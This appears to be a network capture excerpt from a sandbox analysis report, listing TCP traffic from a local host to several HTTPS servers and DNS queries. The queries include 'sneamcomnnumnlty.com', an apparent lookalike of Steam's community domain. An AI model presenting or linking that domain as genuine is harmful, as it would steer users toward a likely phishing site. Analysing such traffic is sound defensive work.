Oct 7, 2024 08:46:59.819065094 CEST	443	49748	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.819101095 CEST	49748	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.819107056 CEST	443	49748	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.826049089 CEST	49738	443	192.168.2.6	104.102.49.254
Oct 7, 2024 08:46:59.826078892 CEST	443	49738	104.102.49.254	192.168.2.6
Oct 7, 2024 08:46:59.831571102 CEST	49757	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.831604958 CEST	443	49757	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.831672907 CEST	49757	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.831780910 CEST	49758	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.831799030 CEST	443	49758	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.831939936 CEST	49758	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.832115889 CEST	49758	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.832134962 CEST	443	49758	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.832331896 CEST	49757	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.832350969 CEST	443	49757	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.832762957 CEST	49755	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.832786083 CEST	443	49755	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.833117008 CEST	49749	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.833117008 CEST	49749	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.833137989 CEST	443	49749	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.833149910 CEST	443	49749	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.835999966 CEST	49759	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.836041927 CEST	443	49759	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.836102962 CEST	49759	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.836735964 CEST	49759	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.836749077 CEST	443	49759	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.963258028 CEST	443	49752	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:59.963957071 CEST	49752	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:59.963988066 CEST	443	49752	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:59.966741085 CEST	443	49752	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:59.966821909 CEST	49752	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:59.967505932 CEST	49752	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:59.967552900 CEST	49752	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:59.967660904 CEST	49752	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:59.967724085 CEST	443	49752	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:59.967778921 CEST	49752	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:59.968178034 CEST	49760	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:59.968216896 CEST	443	49760	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:59.968286991 CEST	49760	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:59.968719959 CEST	49760	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:59.968741894 CEST	443	49760	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:59.974270105 CEST	443	49751	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:59.975411892 CEST	49751	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:59.975426912 CEST	443	49751	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:59.976907969 CEST	443	49751	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:59.976984978 CEST	49751	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:59.977598906 CEST	49751	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:59.977683067 CEST	49751	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:59.977683067 CEST	49751	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:59.977689981 CEST	443	49751	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:59.977840900 CEST	49751	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:59.978389978 CEST	49761	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:59.978441954 CEST	443	49761	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:59.978508949 CEST	49761	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:59.978910923 CEST	49761	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:59.978926897 CEST	443	49761	104.21.91.169	192.168.2.6
Oct 7, 2024 08:47:00.057462931 CEST	49762	443	192.168.2.6	104.102.49.254
Oct 7, 2024 08:47:00.057512045 CEST	443	49762	104.102.49.254	192.168.2.6
Oct 7, 2024 08:47:00.057602882 CEST	49762	443	192.168.2.6	104.102.49.254
Oct 7, 2024 08:47:00.058192015 CEST	49762	443	192.168.2.6	104.102.49.254
Oct 7, 2024 08:47:00.058208942 CEST	443	49762	104.102.49.254	192.168.2.6
Oct 7, 2024 08:47:00.071974039 CEST	443	49754	104.21.91.169	192.168.2.6
Oct 7, 2024 08:47:00.072475910 CEST	49754	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:47:00.072503090 CEST	443	49754	104.21.91.169	192.168.2.6
Oct 7, 2024 08:47:00.073587894 CEST	443	49754	104.21.91.169	192.168.2.6
Oct 7, 2024 08:47:00.073653936 CEST	49754	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:47:00.074450016 CEST	49754	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:47:00.074470043 CEST	49754	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:47:00.074516058 CEST	443	49754	104.21.91.169	192.168.2.6
Oct 7, 2024 08:47:00.074522018 CEST	49754	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:47:00.074570894 CEST	49754	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:47:00.074914932 CEST	49763	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:47:00.074954033 CEST	443	49763	104.21.91.169	192.168.2.6
Oct 7, 2024 08:47:00.075073957 CEST	49763	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:47:00.075443029 CEST	49763	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:47:00.075462103 CEST	443	49763	104.21.91.169	192.168.2.6
Oct 7, 2024 08:47:00.163537979 CEST	443	49753	216.58.206.68	192.168.2.6
Oct 7, 2024 08:47:00.178428888 CEST	49753	443	192.168.2.6	216.58.206.68
Oct 7, 2024 08:47:00.178464890 CEST	443	49753	216.58.206.68	192.168.2.6
Oct 7, 2024 08:47:00.181632996 CEST	443	49753	216.58.206.68	192.168.2.6
Oct 7, 2024 08:47:00.181720018 CEST	49753	443	192.168.2.6	216.58.206.68
Oct 7, 2024 08:47:00.184041977 CEST	49753	443	192.168.2.6	216.58.206.68
Oct 7, 2024 08:47:00.184231043 CEST	443	49753	216.58.206.68	192.168.2.6
Oct 7, 2024 08:47:00.269062042 CEST	49753	443	192.168.2.6	216.58.206.68
Oct 7, 2024 08:47:00.269109964 CEST	443	49753	216.58.206.68	192.168.2.6
Oct 7, 2024 08:47:00.374531984 CEST	49753	443	192.168.2.6	216.58.206.68
Oct 7, 2024 08:47:00.443804979 CEST	443	49761	104.21.91.169	192.168.2.6
Oct 7, 2024 08:47:00.452450991 CEST	443	49760	104.21.91.169	192.168.2.6
Oct 7, 2024 08:47:00.465751886 CEST	443	49756	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:00.473828077 CEST	443	49758	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:00.476308107 CEST	443	49757	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:00.480079889 CEST	443	49755	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:00.482347965 CEST	443	49759	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:00.493098974 CEST	49760	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:47:00.493113995 CEST	443	49760	104.21.91.169	192.168.2.6
Oct 7, 2024 08:47:00.493356943 CEST	49761	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:47:00.493391037 CEST	443	49761	104.21.91.169	192.168.2.6
Oct 7, 2024 08:47:00.494694948 CEST	443	49760	104.21.91.169	192.168.2.6
Oct 7, 2024 08:47:00.494767904 CEST	49760	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:47:00.495003939 CEST	443	49761	104.21.91.169	192.168.2.6
Oct 7, 2024 08:47:00.495069981 CEST	49761	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:47:00.495089054 CEST	49759	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:00.495101929 CEST	443	49759	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:00.495942116 CEST	49759	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:00.495946884 CEST	443	49759	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:00.496862888 CEST	49755	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:00.496896982 CEST	443	49755	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:00.498107910 CEST	49755	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:00.498114109 CEST	443	49755	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:00.499052048 CEST	49756	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:00.499059916 CEST	443	49756	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:00.501368046 CEST	49756	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:00.501370907 CEST	443	49756	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:00.501725912 CEST	49758	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:00.501745939 CEST	443	49758	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:00.503712893 CEST	49758	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:00.503731012 CEST	443	49758	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:00.504057884 CEST	49757	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:00.504075050 CEST	443	49757	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:00.504643917 CEST	49757	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:00.504650116 CEST	443	49757	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:00.506004095 CEST	49760	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:47:00.506107092 CEST	443	49760	104.21.91.169	192.168.2.6
Oct 7, 2024 08:47:00.507047892 CEST	49761	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:47:00.507173061 CEST	443	49761	104.21.91.169	192.168.2.6
Oct 7, 2024 08:47:00.507905006 CEST	49760	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:47:00.507915974 CEST	443	49760	104.21.91.169	192.168.2.6
Oct 7, 2024 08:47:00.530088902 CEST	49764	443	192.168.2.6	20.12.23.50
Oct 7, 2024 08:47:00.530129910 CEST	443	49764	20.12.23.50	192.168.2.6
Oct 7, 2024 08:47:00.530219078 CEST	49764	443	192.168.2.6	20.12.23.50
Oct 7, 2024 08:47:00.547854900 CEST	49765	443	192.168.2.6	184.28.90.27
Oct 7, 2024 08:47:00.547903061 CEST	443	49765	184.28.90.27	192.168.2.6
Oct 7, 2024 08:47:00.547966003 CEST	49765	443	192.168.2.6	184.28.90.27
Oct 7, 2024 08:47:00.549771070 CEST	49760	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:47:00.553549051 CEST	443	49763	104.21.91.169	192.168.2.6
Oct 7, 2024 08:47:00.559381962 CEST	49763	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:47:00.559407949 CEST	443	49763	104.21.91.169	192.168.2.6
Oct 7, 2024 08:47:00.563155890 CEST	443	49763	104.21.91.169	192.168.2.6
Oct 7, 2024 08:47:00.563287020 CEST	49763	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:47:00.563738108 CEST	49763	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:47:00.563899994 CEST	443	49763	104.21.91.169	192.168.2.6
Oct 7, 2024 08:47:00.563940048 CEST	49763	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:47:00.581918001 CEST	49761	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:47:00.581933975 CEST	443	49761	104.21.91.169	192.168.2.6
Oct 7, 2024 08:47:00.593099117 CEST	443	49759	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:00.593156099 CEST	443	49759	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:00.593302011 CEST	49759	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:00.593601942 CEST	49759	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:00.593611956 CEST	443	49759	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:00.593622923 CEST	49759	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:00.593628883 CEST	443	49759	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:00.594999075 CEST	443	49755	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:00.595065117 CEST	443	49755	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:00.595124960 CEST	49755	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:00.596405029 CEST	49755	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:00.596420050 CEST	443	49755	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:00.598910093 CEST	443	49756	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:00.598978996 CEST	443	49756	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:00.599051952 CEST	49756	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:00.599627018 CEST	443	49758	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:00.599699020 CEST	443	49758	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:00.600091934 CEST	443	49757	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:00.600167036 CEST	49758	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:00.600234985 CEST	443	49757	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:00.600284100 CEST	49757	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:00.606586933 CEST	49764	443	192.168.2.6	20.12.23.50
Oct 7, 2024 08:47:00.606596947 CEST	443	49764	20.12.23.50	192.168.2.6
Oct 7, 2024 08:47:00.607398987 CEST	443	49763	104.21.91.169	192.168.2.6
Oct 7, 2024 08:47:00.610541105 CEST	49765	443	192.168.2.6	184.28.90.27
Oct 7, 2024 08:47:00.610562086 CEST	443	49765	184.28.90.27	192.168.2.6
Oct 7, 2024 08:47:00.611198902 CEST	49766	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:00.611255884 CEST	443	49766	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:00.611828089 CEST	49766	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:00.613068104 CEST	49767	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:00.613091946 CEST	443	49767	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:00.613236904 CEST	49766	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:00.613251925 CEST	443	49766	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:00.613264084 CEST	49767	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:00.613655090 CEST	49756	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:00.613661051 CEST	443	49756	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:00.613821983 CEST	49767	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:00.613830090 CEST	443	49767	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:00.617166996 CEST	49758	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:00.617186069 CEST	443	49758	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:00.617223978 CEST	49758	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:00.617232084 CEST	443	49758	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:00.617374897 CEST	49768	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:00.617412090 CEST	443	49768	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:00.617593050 CEST	49768	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:00.618680000 CEST	49768	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:00.618695974 CEST	443	49768	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:00.619204998 CEST	49757	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:00.619215012 CEST	443	49757	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:00.622993946 CEST	49769	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:00.623013020 CEST	443	49769	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:00.623223066 CEST	49769	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:00.623223066 CEST	49769	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:00.623243093 CEST	443	49769	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:00.624536037 CEST	49770	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:00.624551058 CEST	443	49770	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:00.624847889 CEST	49770	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:00.625416994 CEST	49770	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:00.625426054 CEST	443	49770	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:00.691824913 CEST	443	49762	104.102.49.254	192.168.2.6
Oct 7, 2024 08:47:00.692111015 CEST	49762	443	192.168.2.6	104.102.49.254
Oct 7, 2024 08:47:00.692133904 CEST	443	49762	104.102.49.254	192.168.2.6
Oct 7, 2024 08:47:00.693788052 CEST	443	49762	104.102.49.254	192.168.2.6
Oct 7, 2024 08:47:00.693866968 CEST	49762	443	192.168.2.6	104.102.49.254
Oct 7, 2024 08:47:00.694237947 CEST	49762	443	192.168.2.6	104.102.49.254
Oct 7, 2024 08:47:00.694319010 CEST	443	49762	104.102.49.254	192.168.2.6
Oct 7, 2024 08:47:00.694394112 CEST	49762	443	192.168.2.6	104.102.49.254
Oct 7, 2024 08:47:00.739396095 CEST	443	49762	104.102.49.254	192.168.2.6
Oct 7, 2024 08:47:00.768675089 CEST	49763	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:47:00.768692017 CEST	443	49763	104.21.91.169	192.168.2.6
Oct 7, 2024 08:47:00.768692970 CEST	49761	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:47:00.768692970 CEST	49762	443	192.168.2.6	104.102.49.254
Oct 7, 2024 08:47:00.768726110 CEST	443	49762	104.102.49.254	192.168.2.6
Oct 7, 2024 08:47:00.798865080 CEST	443	49760	104.21.91.169	192.168.2.6
Oct 7, 2024 08:47:00.798923016 CEST	443	49760	104.21.91.169	192.168.2.6
Oct 7, 2024 08:47:00.798955917 CEST	443	49760	104.21.91.169	192.168.2.6
Oct 7, 2024 08:47:00.798983097 CEST	443	49760	104.21.91.169	192.168.2.6
Oct 7, 2024 08:47:00.799005032 CEST	49760	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:47:00.799006939 CEST	443	49760	104.21.91.169	192.168.2.6
Oct 7, 2024 08:47:00.799019098 CEST	443	49760	104.21.91.169	192.168.2.6
Oct 7, 2024 08:47:00.799047947 CEST	49760	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:47:00.799062967 CEST	49760	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:47:00.799067974 CEST	443	49760	104.21.91.169	192.168.2.6
Oct 7, 2024 08:47:00.799077034 CEST	443	49760	104.21.91.169	192.168.2.6
Oct 7, 2024 08:47:00.799108028 CEST	49760	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:47:00.799117088 CEST	443	49760	104.21.91.169	192.168.2.6
Oct 7, 2024 08:47:00.804136992 CEST	443	49760	104.21.91.169	192.168.2.6
Oct 7, 2024 08:47:00.804254055 CEST	49760	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:47:00.804258108 CEST	443	49760	104.21.91.169	192.168.2.6
Oct 7, 2024 08:47:00.804269075 CEST	443	49760	104.21.91.169	192.168.2.6
Oct 7, 2024 08:47:00.804312944 CEST	49760	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:47:00.854355097 CEST	443	49763	104.21.91.169	192.168.2.6
Oct 7, 2024 08:47:00.854425907 CEST	49763	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:47:00.855571985 CEST	49763	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:47:00.855593920 CEST	443	49763	104.21.91.169	192.168.2.6
Oct 7, 2024 08:47:00.878683090 CEST	49762	443	192.168.2.6	104.102.49.254
Oct 7, 2024 08:47:00.889241934 CEST	443	49760	104.21.91.169	192.168.2.6
Oct 7, 2024 08:47:00.889358997 CEST	443	49760	104.21.91.169	192.168.2.6
Oct 7, 2024 08:47:00.889482021 CEST	49760	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:47:00.889802933 CEST	49760	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:47:00.889826059 CEST	443	49760	104.21.91.169	192.168.2.6
Oct 7, 2024 08:47:00.981019020 CEST	443	49762	104.102.49.254	192.168.2.6
Oct 7, 2024 08:47:00.981079102 CEST	443	49762	104.102.49.254	192.168.2.6
Oct 7, 2024 08:47:00.981100082 CEST	443	49762	104.102.49.254	192.168.2.6
Oct 7, 2024 08:47:00.981126070 CEST	443	49762	104.102.49.254	192.168.2.6
Oct 7, 2024 08:47:00.981148005 CEST	443	49762	104.102.49.254	192.168.2.6
Oct 7, 2024 08:47:00.981153011 CEST	49762	443	192.168.2.6	104.102.49.254
Oct 7, 2024 08:47:00.981167078 CEST	443	49762	104.102.49.254	192.168.2.6
Oct 7, 2024 08:47:00.981195927 CEST	443	49762	104.102.49.254	192.168.2.6
Oct 7, 2024 08:47:00.981204987 CEST	49762	443	192.168.2.6	104.102.49.254
Oct 7, 2024 08:47:00.981225014 CEST	49762	443	192.168.2.6	104.102.49.254
Oct 7, 2024 08:47:00.981237888 CEST	443	49762	104.102.49.254	192.168.2.6
Oct 7, 2024 08:47:00.981251001 CEST	49762	443	192.168.2.6	104.102.49.254
Oct 7, 2024 08:47:01.069694042 CEST	49762	443	192.168.2.6	104.102.49.254
Oct 7, 2024 08:47:01.082531929 CEST	443	49762	104.102.49.254	192.168.2.6
Oct 7, 2024 08:47:01.082565069 CEST	443	49762	104.102.49.254	192.168.2.6
Oct 7, 2024 08:47:01.082582951 CEST	443	49762	104.102.49.254	192.168.2.6
Oct 7, 2024 08:47:01.082621098 CEST	49762	443	192.168.2.6	104.102.49.254
Oct 7, 2024 08:47:01.082628965 CEST	443	49762	104.102.49.254	192.168.2.6
Oct 7, 2024 08:47:01.082647085 CEST	443	49762	104.102.49.254	192.168.2.6
Oct 7, 2024 08:47:01.082684040 CEST	49762	443	192.168.2.6	104.102.49.254
Oct 7, 2024 08:47:01.082684994 CEST	443	49762	104.102.49.254	192.168.2.6
Oct 7, 2024 08:47:01.082705021 CEST	49762	443	192.168.2.6	104.102.49.254
Oct 7, 2024 08:47:01.082716942 CEST	443	49762	104.102.49.254	192.168.2.6
Oct 7, 2024 08:47:01.082840919 CEST	49762	443	192.168.2.6	104.102.49.254
Oct 7, 2024 08:47:01.087821960 CEST	443	49762	104.102.49.254	192.168.2.6
Oct 7, 2024 08:47:01.087873936 CEST	49762	443	192.168.2.6	104.102.49.254
Oct 7, 2024 08:47:01.092633009 CEST	443	49762	104.102.49.254	192.168.2.6
Oct 7, 2024 08:47:01.092685938 CEST	49762	443	192.168.2.6	104.102.49.254
Oct 7, 2024 08:47:01.092705011 CEST	443	49762	104.102.49.254	192.168.2.6
Oct 7, 2024 08:47:01.092744112 CEST	49762	443	192.168.2.6	104.102.49.254
Oct 7, 2024 08:47:01.092757940 CEST	443	49762	104.102.49.254	192.168.2.6
Oct 7, 2024 08:47:01.092940092 CEST	49762	443	192.168.2.6	104.102.49.254
Oct 7, 2024 08:47:01.092957973 CEST	443	49762	104.102.49.254	192.168.2.6
Oct 7, 2024 08:47:01.092969894 CEST	49762	443	192.168.2.6	104.102.49.254
Oct 7, 2024 08:47:01.194075108 CEST	443	49764	20.12.23.50	192.168.2.6
Oct 7, 2024 08:47:01.194221973 CEST	49764	443	192.168.2.6	20.12.23.50
Oct 7, 2024 08:47:01.248955011 CEST	443	49766	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:01.259160995 CEST	443	49765	184.28.90.27	192.168.2.6
Oct 7, 2024 08:47:01.259262085 CEST	49765	443	192.168.2.6	184.28.90.27
Oct 7, 2024 08:47:01.262160063 CEST	443	49769	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:01.267488003 CEST	443	49767	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:01.289680004 CEST	443	49770	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:01.294102907 CEST	443	49768	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:01.352329016 CEST	49766	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:01.352404118 CEST	49769	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:01.467277050 CEST	49764	443	192.168.2.6	20.12.23.50
Oct 7, 2024 08:47:01.467329979 CEST	443	49764	20.12.23.50	192.168.2.6
Oct 7, 2024 08:47:01.467853069 CEST	49768	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:01.467901945 CEST	443	49768	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:01.468389034 CEST	443	49764	20.12.23.50	192.168.2.6
Oct 7, 2024 08:47:01.468837023 CEST	49768	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:01.468842983 CEST	443	49768	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:01.469521999 CEST	49770	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:01.469548941 CEST	443	49770	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:01.470140934 CEST	49770	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:01.470146894 CEST	443	49770	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:01.470654964 CEST	49766	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:01.470676899 CEST	443	49766	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:01.471407890 CEST	49766	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:01.471414089 CEST	443	49766	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:01.473501921 CEST	49765	443	192.168.2.6	184.28.90.27
Oct 7, 2024 08:47:01.473531008 CEST	443	49765	184.28.90.27	192.168.2.6
Oct 7, 2024 08:47:01.473859072 CEST	49769	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:01.473871946 CEST	443	49769	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:01.473948956 CEST	443	49765	184.28.90.27	192.168.2.6
Oct 7, 2024 08:47:01.474347115 CEST	49767	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:01.474819899 CEST	49769	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:01.474824905 CEST	443	49769	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:01.520464897 CEST	49767	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:01.520488024 CEST	443	49767	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:01.521414042 CEST	49767	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:47:01.521418095 CEST	443	49767	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:01.523076057 CEST	49761	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:47:01.523175001 CEST	443	49761	104.21.91.169	192.168.2.6
Oct 7, 2024 08:47:01.523184061 CEST	49761	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:47:01.545511007 CEST	49765	443	192.168.2.6	184.28.90.27
Oct 7, 2024 08:47:01.563421011 CEST	443	49761	104.21.91.169	192.168.2.6
Oct 7, 2024 08:47:01.567239046 CEST	443	49766	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:01.567970037 CEST	443	49766	13.107.246.45	192.168.2.6
Oct 7, 2024 08:47:01.568043947 CEST	49766	443	192.168.2.6	13.107.246.45

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 7, 2024 08:46:56.465029001 CEST	192.168.2.6	1.1.1.1	0xdf3e	Standard query (0)	sneamcomnnumnlty.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:46:56.465372086 CEST	192.168.2.6	1.1.1.1	0x36dd	Standard query (0)	sneamcomnnumnlty.com	65	IN (0x0001)	false
Oct 7, 2024 08:46:58.000185966 CEST	192.168.2.6	1.1.1.1	0xecb	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
